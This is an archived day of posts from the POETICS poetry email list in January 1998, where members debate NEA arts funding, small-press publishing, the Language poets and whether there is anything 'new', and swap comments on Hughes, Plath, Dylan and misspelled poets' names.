What little was published, and Steve's bleak assessment is accurate, was mostly by auteurs using photocopying. Poets doing the typesetting, printing, collating and stapling themselves. A press such as Meow would be an upmarket model (i love Meow books btw). Some 'books' were circulated in editions of 30 or 50 copies only. Many did not have ISBN numbers and were either not placed with or even in some instances willfully misheld from placement in the 'public' collections (such as the POetry Library and the British Library et al).

Things are considerably improving but it's a long slow mend. There were those (such as Reality Studios, Reality Street, Spanner, Writers Forum, Equipage, Pig Press, North and South and others) who kept the flame going or who spurred the gathering resurgence. Advancing regional dispersion has helped 'us'

funding wise as has perhaps most significantly developments in production and reproduction technology. With 'products' once again looking sellable, distribution opportunities are opening up.

That's part of our story from this point of view. Be careful. From my limited travelling in the US i'd say the market needs a push, not a wither. It's time to become extremely resourceful. If the conventional pathways are shrivelling then take note of ways in which other groups fund their campaigns. David Bromige has good points.

love and love
cris

↑ Index

585. **david bromige**
p s to The New, etc
Tue 20 Jan 1998

Listfellows, that bit about "sitting on one's duff," etc, was definitely _not_ aimed at Steve Evans, despite juxtapositioning can make it seem so. Few have done as much as he, to circulate and devise necessary info in these times that would make an endeavor such as his, impossible.

I think the hint of irascibility is due to the following : it was almost a year since I first posted this suggestion, and to date i have not heard of one poetry community that has essayed this solution. I don't think my irritation is altogether due to "how could they overlook a suggestion coming from _me_ !?" It's just so plain to me (since I have been among those successful at it) that there's a way partially to remedy the attrition in funding for oppositional groups; given that, at the same time, it was never going to be easy. Me, I'd sooner get together with 15 other like-minded souls for a weekend of junk-recycling and amiable haggling, than fill out a grant application. But hey it's your generation, I'm sure your time to you is worth saving. David

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586. **Pierre Joris**
The News
Tue 20 Jan 1998

Ugh, the news -- so Carl Perkins is now hanging with the King, Lennon, Otis et companie -- nobody's gonna step on his blue suede shoes no more -- but I'll keep listening & dancing -- Pierre
--
==========

pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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587. **rsillima**
Ol' langpod here
Tue 20 Jan 1998

The most mysterious comment of Joe Safdie's recent missives is his claim not to have met me. Having had numerous conversations with him at and after readings back in the days when we were both in the SF area, I'm puzzled. Perhaps I wasn't rude or funny enough. I'll try harder,

Ron

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588. **Harold Rhenisch**
Re: The New (& how to help it along)
Tue 20 Jan 1998

Don Byrd wrote of how the NEA brought perfect binding for little magazines and small press books, but did nothing to solve the distribution problem. He suggested that if they had given money to libraries to "buy small press and little magazine material, instead of giving it directly to publishers to publish that problem could have been in part solved".

I wonder. The Canada Council in its 1970s days of wealth sent small press books to libraries for free. They have pretty well all been sold off (at $.50 a pound) or discarded. I got Mike Yates' "The Breat Bear Lake Meditations" for 50 cents, Mary de Raschewitz' "Discretions" for $1, and on and on it goes. Public libraries, at least the ones I know, cull any book that has not been borrowed for the previous 4 years. After 20 years, that is pretty well the whole lot.

Don also notes:

>>People started tailoring their work to the NEA, not to the issues of the necessities of their work. <<

The Canada Council also has this effect.

>> It seems to me frankly that a great deal of the weariness in the poetry scene can be traced directly to the NEA. You cannot expect a government to fund revolutionary art.<<

Mind you, it's not just revolutionary art that suffers. Even basic and necessary extensions of conservative art, filling in regional and class blanks, completing a pattern, bringing the wealth, so to speak, to the furthest reaches of society, suffer. The consequence: vast areas are left out of the swim.

>>The Humanities were offered to the New Left of 60s as a kind of preserve.<<

Don, I like your idea about the 560 megabyte CDs, as long as we are careful not to help build our new preserve. That is, distribution beyond the boundaries of electronic access is just as important as distribution beyond the boundaries of the NEA- or University English Department- or Canada Council-defined book.

--Harold Rhenisch
[redacted]

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589. **Jacques Debrot**
Re: DIASTEXT, etc.
Tue 20 Jan 1998

Does anyone on the list know of an internet source from which it would be possible to download the DIASTEXT, DIASTEX4, and TRAVESTY programs as shareware?

Thanks in advance.

--Jacques

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590. **Henry**
Re: p s to The New, etc
Tue 20 Jan 1998

Just want you to know, David, I took your yardsale idea seriously. Passed around your message at meeting. People were skeptical ("$4,000. from a yard sale? Must be Beverly Hills..." etc.) but the idea is good & the same energy could be applied to a variety of fundraising methods. Grassroots fundraising to build poetry audiences - I like the sound of it... Steve was right to call Ron on his statement, but do we want to go back to NEA grantsmanship & the dual system of commercial publishing and gov't funding? Poetry has a very weird relationship to the mechanism of mass marketing, fiction publishing, and the

general reader; you could get all the funding you needed, all the books out there you wanted, all the p.r. & press coverage - and would you have any interesting poetry?

I realize this sounds very complacent in the face of a depressing publishing situation. But my point is that the issue between generations hinges more on a "theoretical" self-understanding or self-presentation of a mode of poetry (which maybe is what Ron was getting at) than on differing "material conditions". The poetry groupings of the past that we're all interested in assumed that poetry is ONE THING, and it's a battle for hegemony - thus no matter where they were on the publicity canvas, their position was "political" (in an artistic sense) and their voices mattered. The issue is not, can the "younger generation" break out of its obscurity via a more supportive publishing environment; the issue is, can they distinguish themselves from the aesthetic-cultural niche ESTABLISHED for them by the Ron-Clinton-etc. generation. Established for them - but still run & controlled & thinned out by the tenured oldsters - all those "teachin' experimentalists", all those grayheads at Brown, SUNY, Naropa, SF, San Diego, the Poetry Project, or whatever mafias you want to check out. That's what attracts people to the Russians - they're good at chess, mafias, and theory. And now & then you find, hey, there's a few poems there. a few. Written by talents nurtured in childhood outside of ANY literary politics.

sorry for the obscurity of this post - Henry Gould

↑ Index

591. **Susan Wheeler**

Re: POETICS Digest - 18 Jan 1998 to 19 Jan 1998

Tue 20 Jan 1998

---

but that being the early 70s, it was
>impossible to be a girl writing poetry without being sent to plath and
>sexton, with dire predictive undercurrents about how it was all sure to
>turn out.

Dead-on, I'm afraid. My public-school English teachers put on paper hats once a year and merged their classes to act out Godot; screened Bunuel, The Seventh Seal and Last Year at Marienbad in any class that would reasonably apply; and seemed confused by the notion that the Plath/Sexton trajectory wouldn't interest a girl. For Love came into my hands somewhere around there, I remember, but my antidote was Gary Snyder. Bless them, though, for Nathaniel West. Susan Wheeler [redacted] voice/fax [redacted]

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592. **robert drake**
Re: The New (was Oy . . . Langpo)
Tue 20 Jan 1998

> "**what is it about language writing and all that has come after it that there has been no moment nor movement that has crystallized in anything like the same way poetry did in the early 1970s?** For all the anthologies of younger writers, many of then extraordinarily gifted, what do we find in the way of work that is actually new? I think this must be the challenge that faces every younger writer . . . "

tardily, i'll suggest (again) a look at:

www.burningpress.org/va/vaintro.html

representing but one of a number of momement/movements that have, if not crystallized, at least been strong confluxes of poetic/community energies... one significant difference, as i've suggested before, is th lack of critical/ theoretic attentions either frm within or outside... ov course, such attentions/components are sometimes held as markers of "seriousness" (as if, lacking overt critical discourse, there is no critcal thought or theoretic underpinning)--certainly that's an impetus to my part in the project... but, to th extent that these poetries are oppositional, praps part of the opposition is aimed at that kind of performative proof-of-value?

asever
luigi

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593. **Maria Damon**
Re: The New (was Oy . . . Langpo)
Tue 20 Jan 1998

---

i am glad steve evans brought material history to bear on the history of the "material text." without wanting to engage the langpo vs postlangpo thread, i must say that many discussions of the langpos' "complicity" with the academy and other institutions they seek to undermine in praxis overlook the fact that this turn to the academy has much to do with the erosion, starting under reagan, of not only money for the arts, but any kind of "alternative" and useful employment opportunities that existed during the days of economic expansion and funding for social programs.

At 1:40 AM -0500 1/20/98, Steve Evans wrote:
>Having over my years as a list-member watched Ron Silliman repeatedly--and
>I think with good intentions--try to insult a new generation into
>existence, I feel more bemused than offended to see him at it again in the

>passage excerpted by Jacques Debrot from the new *Philly Talks* (which I've
>not yet received):
>
>>"*what is it about language writing and all that has come after it that there
>>has been no moment nor movement that has crystallized in anything like the
>>same way poetry did in the early 1970s?* For all the anthologies of younger
>>writers, many of then extraordinarily gifted, what do we find in the way of
>>work that is actually new? I think this must be the challenge that faces
>>every younger writer . . . "
>
>While I would confidently put the first books, chapbooks, and editing
>projects of Lisa Jarnot, Lee Ann Brown, Bill Luoma, Jennifer Moxley, Kevin
>Davies, Rod Smith, Chris Stroffolino, Peter Gizzi, Juliana Spahr, and many
>other "young" writers up against any work done at a comparable age by any
>language poet, I do think that one material condition has greatly
>distinguished the task of emergence after 1989 from the one faced by Ron's
>generation in the mid-1970s: the comparative lack of state and federal arts
>funding for avant-garde writing and publishing projects.
>
>How many of the exceptional magazines and books of 70s language-centered
>writing would have been brought into existence *without* California arts
>funding and the NEA? Kit Robinson's excellent *Streets & Roads* folded
>after one issue for lack of it; *Hills*, *This*, *The Figures*, *Tuumba*,
>all managed to receive some very significant support, as did Burning Deck
>and scores of other hospitable small houses on both coasts and throughout
>the country. As an experiment, try taking every book by Silliman that
>received NEA support off your poetry shelf and tell me how much of the
>alphabet remains. Now do it for all the other usual suspects. See?
>
>I am familiar to the point of nausea with critiques of the NEA, but I think
>the money it infused--mostly to publishers rather than individual poets,
>who certainly were often discriminated against for their radical aesthetic
>commitments--goes a long way toward explaining the difference Ron
>mistakenly assigns to the novelty-deficient young.
>
>I might also say that the situation is past critical now and shows every
>sign of declining more, the evangelism of the e-mediasts aside. Jarnot's
>*Some Other Kind of Mission* was a first book published in the year its
>publisher, Burning Deck, had its NEA money more or less totally eliminated.
>Multiply that story fold upon fold and you get something of the picture.
>The ability to get the new(s) out depends on slimmer and slimmer margins,
>as the shots get longer and longer. The lack of dynamic new venues for the

>sustained presentation of work--magazines of course, but more importantly
>publishing houses--troubles me the most. Hello era of the chapbook with
>zero circulation, ask England how they've liked it. But against such a
>backdrop, to impugn the accomplishment of young writers is grossly
>misplaced. Viewed as they must be in relation to real material conditions,
>their accomplishment is in many ways ethically as well as aesthetically
>grander than that of their counterparts who now are the president's age.
>
>Time to sing a new song, Ron.
>
>Steve Evans

↑ Index

594. **Maria Damon**
it's *creeley* you dope
Tue 20 Jan 1998

---

kent johnson pointed out to me, back-channel, that i might want to post a correction for my misspelling of "creeley" in the reading thread post. as i told him, the teacher who'd studied w/ him was called jonatha ceely, and to this day i get the spellings mixed up. (kent didn't express himself in the terms of my subject line.)

↑ Index

595. **Gwyn McVay**
Re: Langpods & the "Material Text"
Tue 20 Jan 1998

Dale replies:

Langpods exclude life and fill ?texts9 with the random debris collected by an arrogantly selective self that can not, or will not, acknowledge the self9s role, even in the most methodical and abstract instances.<<<

But again, and please, older heads, correct me if I'm wrong, such notorious aleatorists as Cage and Mac Low (a) make UP the arbitrary rules in the first place--somebody (cf. Charles O. Hartman) has to *write* programs that generate or mangle text, however much calculation the computer itself does in running that program--and (b) admit to fudging the rules a little bit on occasion. I flatly don't believe Clark Coolidge and Larry Fagin didn't fudge once or twice in applying the n + 7 algorithm to the inaugural poem to create "On the Pumice of Morons."

When I've read some of these artists on the subject of their work, it seems to me that they're very conscious of making aesthetic (better word?) choices, even in creating a work that includes aleatory processes. To reductio this ad absurdum, Cage willingly chose to write for prepared piano, not prepared glockenspiel, tuba, etc. (to my knowledge)--

Gwyn

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596. **Miekal And**
Re: Uh...New?
Tue 20 Jan 1998

There are no new forms? I'm very disappoint?ed.....
There are no new forms? I'm very disappoint?ed.....

↑ Index

597. **KENT JOHNSON**
Missing "e"'s
Tue 20 Jan 1998

On Jan 20, Maria Damon wrote:

> *kent johnson pointed out to me, back-channel, that i might want to post a correction for my misspelling of "creeley" in the reading thread post. as i told him, the teacher who'd studied w/ him was called jonatha ceely, and to this day i get the spellings mixed up. (kent didn't express himself in the terms of my subject line.)*

What is it about missing "e"'s? Here's an open confession to show that Maria is not alone--To this day I have to look up the poet's name I've probably most often seen: Is it Alan Ginsberg or Allen? Embarrassing, but what the heck, I _love_ to confess myself on this list.

Kent

↑ Index

598. **Miekal And**
kenning
Tue 20 Jan 1998

---

p. durgin wrote:

> ` ----->*<-----
> ` *K E N N I N G*|
> ` *anewsletterof*|

> ` *poetry&poetic|*
> ` *s418BrownSt.#|*
> ` *10IowaCityIA5|*
> ` *2245USA\/\/\/|*

can you
post more
info about
yr newsletter?

↑ Index

599. **Mark Prejsnar**
Re: [redacted] deliberately omitted
Tue 20 Jan 1998

I stand corrected. Have never met a living Langpote (only paper and digital ones, and they've been pretty nice to me...Maybe I'm not a fool after all!!)

I wasn't where it was at, to see those public corrections. But in a sense I stand by what I said (or thought I was saying): whether personally tolerant or not, the Language circle(s) have never held a single set of beliefs and goals. But much of the feeble flak fired at 'em seems to imply a uniformity I don't believe I see there. You were right to pick up on my word, "vague"..I expressed myself badly, and meant that in many cases they were rather "vaguely connected" with each others' goals and projects, not that they were mild absent-minded per-fessers.

On Fri, 16 Jan 1998, david bromige wrote:

> *Thanks, Mark. But I didn't forget Chas, I left him out because I understood Joe Safdie to be addressing his problem with the west coast Langpoets.*
>
> *Would also remark that a number of Langpos didnt suffer fools gladly--so I can't agree to the "vague" in yr characterization, and even the "loose" hardly fits my recollection of public correction during post-talk discussions. But humor there always was. Humor is serious business, and vice versa. Language is inevitably funny, if you look long enough.*
>
> *Hugh Steinberg told me the other night about a T-shirt he'd had made up, with pictures of Groucho, Chico and Harpo--and "Carlo". It would have been fun if everyone had turned up one evening at the Perelman/Shaw loft talks, or at an 80 Langton St event, wearing the same. "False Portrait" of the Language School.*
>
> *David*

↑ Index

600. **Suzanne Burns**
Re: Hughes & Plath
Tue 20 Jan 1998

On Mon, 19 Jan 1998, Michael Magee wrote:

> *Isn't he about 30 yrs too late for*
> *the "autobiographical sequence"?*

Who's to say? I have no trouble understanding why it would take 25 years of writing for him to come to turns with Plath's tragedy. It probably has taken many people who were not even particularly close to Plath at least as much time.

Nor do I have a problem with anyone wanting to keep private about their emotions or to think about the impact on their children. Perhaps if he had come out with an "autobiographical sequence" immediately after Plath's death, you would be accusing him of opportunism, false emotion (and everything else under the sun). Personally, I would be more inclined to trust the emotions of a sequence of poems such as this if it comes out later, after some soul-searching.

I wouldn't call him "our greatest poet", not by a longshot. Nor would I call Andrew Motion the greatest of critics given these comments (though I still look forward to reading his book on Keats). The poem Rachel quoted stinks (*vomiting noises*)-- it is easy to agree on that. I'd like to see the whole collection before judging, though. Some of the other poems, printed Monday in NYT, struck me as much better, more real, and genuinely grieving, and it might be that they are more representative.

Suzanne

↑ Index

601. **Suzanne Burns**
Re: Hughes v Plath
Tue 20 Jan 1998

Dean, could you say more about this?

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602. **Dale Smith**
Uh...New?
Tue 20 Jan 1998

Although I'm glad the NEA funds have dried up I want to second Steve Evans' comments re: younger writers. Lisa Jarnot, Hoa Nguyen, Connie Deanovich, Kevin Opstedal and others are actively engaged with poetry, producing

provacative and exacting forms of verse. Two invocational poems published recently in Mike and Dale's by Jarnot stand out to me as intelligent and deeply felt examples of poetry that conveys the freshness and novelty of the 'material text' while permitting a personal voice to carry through the poem in a sustained projection of immediacy and power. Jarnot reveals an experience of urban life with subtle humor and music. Her form isn't new, but the content lives. You see, 'New' does not mean innovative forms only. There are no new forms. There are existing forms used by poets to different ends. This measurement in terms of Newness is limited and limiting. It's arbitrary and used to increase distances between generation of poets. If it were up to the Silliman, Langpods would be known as the only folks to ever practice poetry, every one else, before and after, falling short of his ideal demands of the new, whatever those may be.

More specific examples for Joel and Bromige later today. Stay tuned, by Gar.

Get Your Private, Free Email at http://www.hotmail.com

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603. **pritchpa**

Re: Mandalas / cathedrals / insects / thieves

Tue 20 Jan 1998

A lovely evocation, Harold - thank you. I think you've hit the proverbial nail - cathedral as poem in stone, as demarcation, temenos even, between sacred and profane space, as surely anyone who has ever entered one can attest to.

Patrick Pritchett

From: Harold Rhenisch
To: [redacted]
Subject: Re: Mandalas / cathedrals / insects / thieves
Date: Monday, January 19, 1998 4:59PM

My take on it is that it has
captured space, held it inviolate from the corrupt world, and purified
it
over centuries, carrying it to paradise, when *all* of time (and
similarly
life and death) shall be dismissed, as it is in the cathedral.

Harold Rhenisch
[redacted]

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604. Fred Muratori
Re: Hughes & Plath
Tue 20 Jan 1998

A Hughes stanza from the new book actually made the CNN news last evening, with the newswoman reciting -- over displayed text -- a section of a poem re-counting Ted & Sylvia's wedding day. I'll bet that was a CNN first. The passage sounded like pretty bland, standard fare to me, and I didn't buy the image of Sylvia standing there "brimming with God" at all. I think Hughes is much more comfortable when he writes about nasty animals eating other nasty animals. -Fred M.

****
Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

605. David R. Israel
found poem
Tue 20 Jan 1998

(unedited text excerpted from
a gratuitous marketing email msg., 1/21/98)

```
|   E-PARADISE
|
|   Do you know what it's like
|   to turn your computer on in the morning
|   to find an email box full of orders for your product
|       Where it takes over an hour to sift through just
|       the credit card orders alone?  We do!
|
|   Do you know what it's like
|   to have the postman bring you a bag
|   full of orders for products you have marketed
|       on the Internet, and then hear him
|       complain about all the mail you get?  We do!
|
```

| Do you know what it's like
| to place a simple ad into a newsgoup or
| classified section on the Internet and have your
| Order Department's phone ring off the hook with
| people who want to buy your product. We do!

clearly (though the conceit is rather guache), the writer's referring to the experience of subscribing to the Poetics list -- the riches of theory ("credit card orders") which the writer's sensibility ("Order Department") gets to process en masse, etc.

d.i.

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606. **Mark Prejsnar**
Re: Has anyone else read Strabismus?
Tue 20 Jan 1998

I don't have time to reply (in any great detail)!! But I don't want to let this slip away without agreeing. Rosemarie W. sent me a review/exchange copy of Strabismus, in connection with my mag Misc. Proj., about a year ago, and I'm delighted to be goaded into at least a brief response. It is a fine book. (I may yet run a review of it..Maybe I should get Crag to write it!) A great range, wit, energy. A poet to be encouraged.

Also to be encouraged: spontaneous generous appraisals on the List, like this one by Crag. I see the affinity to Ceravolo, a real favorite of mine (transrational musicality as a form of intuition?)...But wouldn't'a thought of it myself...

Mark P.

On Sun, 18 Jan 1998, Laurie Schneider/Crag Hill wrote:

> *To pick up the reading thread again:*
>
> *When I first read Joseph Ceravolo's Transmigration Solo years ago (followed closely by Coolidge's Quartz Hearts), I gasped, "I've never read anything like this before!" I was utterly delighted by its originality, not in the least concerned that I couldn't identify or describe the mechanisms of that orginality. It was pleasurable simply to experience, a joyful romp of language.*
>
> *Reading Brian Schorn's Strabismus (from Burning Deck, 1995), I had a similar experience. I don't know how the hell he's doing what he's doing, nor did I want to break off the experience to analyze it - so rarely recently have I found poetry "pleasurable" in any sense. But now as I think about the poems and re-read them, the root of this pleasure has to be in the many impossible, improbable, unpredictable lines and sentences that*

> *build up the poems -- accretion of the unexpected: "Temperatures are convincing jerks between the people in the canoe, hence, their legs support them like four broken ferns." I beg your pardon? I ask, a smile on my reading face. "I am the plaid formation on a Midwestern bow tie, capsized/somewhere on a whitecap, say/Lake Michigan." I've been there, seen that, I think. No, I haven't, though I grew up on the western shores of Lake Michigan. I haven't been there, but those lines are. "Hands entwined around each end of a wine bottle will not enhance the greenery of a swamp." Well, yes, but...These poems are delightful. That's a hell of a place to start.*
>
> *Where have others gone with Strabismus?*
>
> *Best, Crag Hill*

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607. **KENT JOHNSON**

Re: Hughes & Plath

Tue 20 Jan 1998

On 20 Jan. Suzanne Burns wrote:

> *The poem Rachel*
> *quoted stinks (*vomiting noises*)-- it is easy to agree on that. I'd like to see the whole collection before judging, though. Some of the other poems, printed Monday in NYT, struck me as much better, more real, and genuinely grieving, and it might be that they are more representative.*
>
> *Suzanne*

I accidentaly deleted Rachel Loden's post that quoted the poem with "racist" imagery, but I wanted to ask if perhaps _in context_ of the whole work it might be read differently? That is, the poem is about Hughes remembering Plath over 30 years ago. Might the bizarre references to physical type be a frank and self-conscious recalling of his own racism, a way of evoking an emotional darkness that presages what is to come? It does have a very 1960's ring. Eliot, for example, is still around at the time of this "picturing" of Plath.

I have no idea, but just wondering if Hughes might be up to something more here which the whole book might make clear. But maybe not, and that would really be something!

Kent

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608. **William Marsh**
Re: Missing "e"'s
Tue 20 Jan 1998

At 09:42 AM 1/20/98 -0500, kent wrote:
>What is it about missing "e"'s? Here's an open confession to show
>that Maria is not alone--To this day I have to look up the poet's
>name I've probably most often seen: Is it Alan Ginsberg or Allen?
>Embarrassing, but what the heck, I _love_ to confess myself on this
>list.
>
Olson with an "e" was a problem for me several years back, until i learned
"old son" as a helpful mnemonic device

bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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609. **p. durgin**
ad. req. -- Jarnot
Tue 20 Jan 1998

Would anyone out there happen to have an e-mail address for Lisa Jarnot? Please back-channel, thanks. -- Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|

` 10IowaCityIA5|
` 2245USA\/\/\/|

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610. **Chris Sawyer**
Re: The New (was Oy . . . Langpo)
Tue 20 Jan 1998

This is a multi-part message in MIME format.

I think Robert Drake makes a good point. For the most part the older, established "Langpo"s have teaching positions and groups of students or former students who follow and imitate their work. Additionally, these younger writers have swallowed in part their tradition and aesthetic to the point of myopia. As someone who went through a different tradition as a MFA student at Columbia, and fought for my personal aesthetics without this support system, I find comments about postlangpo or lack thereof a little inbred. I'm a younger writer who is "influenced" by langpo, but I never studied with one in an institution. "New" writing is happening now, just not necessarily under the umbrella of "established" langpos or their university affiliations.

check out his site of "discontigous" poetries:
www.burningpress.org/va/vaintro.html

Content-Description: Card for Chris Sawyer

begin: vcard
fn: Chris Sawyer
n: Sawyer;Chris
org: Pei Cobb Freed & Partners
adr: 600 Madison Ave;;;New York;NY;10022;USA
email;internet: [redacted]
title: Library & Archives
tel;work: [redacted]
tel;fax: [redacted]
tel;home: [redacted]
version: 2.1
end: vcard

----------BCF77FE3ED37047D1DD10E7B--

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611. **JBCM2**
Re: Uh...New?
Tue 20 Jan 1998

There are no new forms? I'm very disappoint?ed.....

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612. **Don Byrd**
Re: The New (& how to help it along)
Tue 20 Jan 1998

david bromige wrote:

> *Sure, it takes time--planning sessions, rounding up junk to turn into antiques,finding big enough pieces of plywood to serve as tables, and the sawhorses to support them, manning the tables. . . But it beats sitting on one's duff bemoaning the cruel fate (and cruel it is!) that got one born too late for an NEA. It creates or enhances a sense of community, what's more. There could be yard sales for poetry throughout america.*

There is so much going on here that I can't keep up. I will try to get in on thethe meatier issues of the new (though classes are starting at the University this week) and say a few words about Pierre's expose later.

I only want to make one quick observation here. The poetry scene of the 60s and early 70s that Ron and I came into and which we both would like to see reappear, because it was an almost unbearably exciting time for every one, young and old, was created without the NEA. (Incidentally, take a look at Elsa Dorfman's web site. She has a photograph of Duncan, Irby, and Waldman which seems to me to capture a lot of that time in a single image--three generations as it were. For some reason, I can seem to connect with it right now, to get the URL, but it will turn up in a search).

The NEA brought us perfect binding for little magazines and small press books. This was nice: book stores like perfect binding because the books fit on the shelves. Huge numbers of books were produced. Jed and I cashed to produce a few issues of Wch Way (most of which are still in my basement by the way, if any one wants a genuine piece of literary history). But the NEA did nothing to solve the distribution problem. That, however, was just bad administration: if they would have given money to libraries to buy small press and little magazine material, instead of giving it directly to publishers to publish that problem could have been in part solved.

The deeper problem, however, is that it created an industry, producing products that for the most part no one wanted to buy. People started tailoring their work to the NEA, not to the issues of the necessities of their work. It seems to

me frankly that a great deal of the weariness in the poetry scene can be traced directly to the NEA. You cannot expect a government to fund revolutionary art.

While I am on this track, incidentally, I should also say that you cannot expect universities as institutions of the state or, worse, of private wealth, to support revolutionary art. The same thing is happening in universities that happened with the NEA. The Humanities were offered to the New Left of 60s as a kind of preserve. I don't think there was an active conspiracy, but it is as if some time during the Carter or Reagan administration, someone said, "What are we going to do with all damned the Marxists and poets?" "Give'm the English department."

Now they are pulling the plug on English departments as they did on the NEA. Since 1991, the faculty of the department here has been reduced from 43 to 27 full-time faculty members, and the slack has been taken up by adjuncts, many of them poets.

Granted, born in 1944, I am not quite a baby-boomer. I have gone through demographic doors that have slammed closed behind me. I have a cushy job, tenure, a Professorship. I have no more hurdles to jump. It must be remembered that jobs for poets in English departments in any number is also a new development. Even when I was tenured, a book of poetry was not held against you, but, you had to have produced a "serious" book as well.

Let me make one more quick hit, and get down to the business of the day. The problem of publication is solved. For considerably less than the price of one 80-page perfect-bound book, it is possible to produce a cd-rom. A cd-rom will hold about 560 megabytes. You could almost squeeze the entire contents of the Encyclopedia Birittanica on one of them. We could publish an annual that would include every scrap of text that every one on this list writes, leaving space for much of the multimedia work, if the multimedia people would compress the files to the size they have to be for web sites.

Don

> **********

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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613. **pritchpa**
FW: The Catskill School of Poetry
Tue 20 Jan 1998

Marvelous description of a utopian poetic community, Kent - though not quite so utopian as one might imagine. I enjoy something like it, albeit on a smaller, humbler scale, here in Boulder, among the well-entrenched poets of Naropa, CU and Denver. Jack Collom, myself, Lindsay Hill and Michael Friedman get together at each other's houses once a month to read our own and others' work and to discuss the stuff at hand at some length. Hegel never comes up, I confess, but it has been very instructive and stimulating for all of us. Community must be grounded in the physical, finally, I think. That's part of the problem with this list - one of the reasons, as I've opined to others in the past, why people get so easily bent out of shape and say things here they'd never say to a person's face. Well, most of us anyway. I'd never get rich betting on the limits of your cheeky chutzpah - you really know how to throw a gauntlet with style and that's something I say. (Dale Smith, please take note! And btw it is good to see you back.. even though I could not agree less with your stand re: Langpo).

Patrick Pritchett

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614. **Aldon Nielsen**
Re: Digest -- Coffey/Marcus/Dylan/etc
Tue 20 Jan 1998

---

footnote to Susan's note on _Don't Look Back_ -- the film occupies an innerstin' spot in film history, not just as progenitor of much subsequent success & excess in the concert documentary genre -- several of the people involved in the Dylan project had earlier worked on the film that follows President Kennedy around during the Alabama intergration crisis

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615. **pritchpa**
Re: Hughes & Plath
Tue 20 Jan 1998

Well Fred, I think that sounds like a lot of marriages I've seen - including my first.

Patrick Pritchett

From: Fred Muratori
To: [redacted]

Subject: Re: Hughes & Plath
Date: Tuesday, January 20, 1998 10:11AM

I think Hughes is much more comfortable when he writes about nasty animals eating
other nasty animals. - Fred M.

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616. **Aldon Nielsen**
Re: dylan vs. poetry
Tue 20 Jan 1998

At 02:30 PM 1/16/98 -0500, you wrote:
>If Dylan, then why not Jimi Hendrix. 'Specially within the context of blues
>guitar. How his axe had a way of nearly fatally de-electrifying it's operator
>as in Electric Ladyland. The axe as voice. empathy with the axee. what is the
>name of that long instrumental track on "lectric ladyland where he spasms out
>at the end with his axe? Say, if you get near a tune, play it.(- Groucho)
>
>
>- William
>

O.K. -- how about Hendrix's versions of "Drifter's Escape," "Like A Rolling Stone" and "All Along The Watchtower"

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617. **Joe Amato/Kass Fleisher**
Re: Uh...New?
Tue 20 Jan 1998

---

dale, beg your pardon, and not to pick on you, but---

i've grown about as weary of defending the "new" as a yet viable category of---is it analysis? or (pro)creation?---as i've grown weary of hearing a specific past erected as an arbiter of same...

which is to say, what we're doing now, *here*, is new, yes... if "new" means, can mean something akin to "what 'we' did not/could not do a decade ago"... *and* if one is capable of sensitizing oneself to the difference(s) twixt a letter column, in print, and a string of ascii characters (e.g., and with due regard for problems with ascii)... *and* if one is willing...

nothing wrong, necessarily, with the old either... but just b/c some of my (beloved---i am not being ironic) friends from the 60s seem dedicated to

naysaying the "newness" of what has arrived since does not mean we should refuse to deploy said term, or to dispense with it entirely... *esp.* not when the very medium in which such discussions are permitted is, uh, new... "life goes on/long after the thrill/of living is gone"?---ok, but the thrill is just not gone for me...

oh & check that: for "deploy" insert "deplay"...

now: i guess i'm 'picking on' ron s. and don b. as much as on dale!... i'm trying to do so in a friendly way, really---to gloss kent j., w/o a whole lot of refinement... please try to imagine my distressed look at the moment as i work up this para to assuage any residual irritation that comes seeping through the pixels... but steve e. makes a lot of sense to me...

ok: as i've just posted someone backchannel, and to riff on _easy rider_, "we blew it"... but thank the lord we're not stuck back in 69, as any person of color or feminist or gay (and please don't tell me these are not useful distinctions) will be sure to intuit... in some sense we've come a long way, baby... in others, we've still a long fucking way to go...

as to aesthetic/poetic mimicry: i just don't get laying this at the doorsteps of the langpo 'movement'... i see much more of same in the hallmark universe of discourse... at the same time, if langpo seems powerful to you non-academics out there, perhaps you ought to consider how much power is behind an avg. annual salary (all profs, all disciplines, all universities) of just over $50K (which i and many like me, moving into our 40s, are still a long way off of)... i raise this monetary issue b/c i sense a lurking tangent re who speaks---as in the vizpo thread, where it was clear to me that marjorie perloff (ok yeah sure a friend) is doing her best to shake up a rather staid stanford institutional setting... do any of you folks think the ivory tower is really an ivory tower?---if so you haven't gotten your hands dirty with academic politics... every course is an act of exclusion---i hope nobody judges my course by some strict (new critical?) measure of my syllabus, lordsakes... if in class you encourage your students to read around in print and get online and explore, class discussion will always diverge from stated loci, and open to, uhm, new directions... do you really believe marjorie is *not* doing this?...

there are just so many issues here, i think it'd be nice if we'd try to disentangle a few... and hey, while i'm at it: why the casual diss of c & w music (e.g., vis-a-vis dylan)?... i can see [cough] ideological problems with *all* popular music... what of it?...

i've posted this before:

http://www.iit.edu/~amato/moonlight.html

it's a draft (is this public aspect of a conference "process" new?---nobody asked me to post this draft)... i think i use the word "new" once in the piece, a piece directed of course to folks who know little of the vital work so many of you on this list are actively engaged in... please advise if acceptable, or if just a gim-mick... one thing is certain: nothing is stopping me from linking to mandel, brathwaite, giscombe, hunt, barbour, levy, miekal and, perloff etc etc etc... not yet anyway...

all of that said: the discussion hereabouts has picked up some of late, in what seem to me---unnecessary provocations aside---some intriguing ways... but (if i may) let's not mistake animosity for animation---you can have the latter w/o the former, you bet, though we moths tend to be drawn into the flames [flap flap}...

best,

joe

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618. **d powell**

Re: Missing "e"'s

Tue 20 Jan 1998

How about Ashbery/Ashberry? I always got that one wrong. And James Wright, Charles Wright, C D Wright and C K Williams were all the same person; I used their names interchangably. Also, for whatever reason, Rilke, Roethke and Goethe. Funny, but I remember all the names of the Pips...

Doug

==========
D A Powell [redacted]
==========

William Marsh wrote:
>At 09:42 AM 1/20/98 -0500, kent wrote:
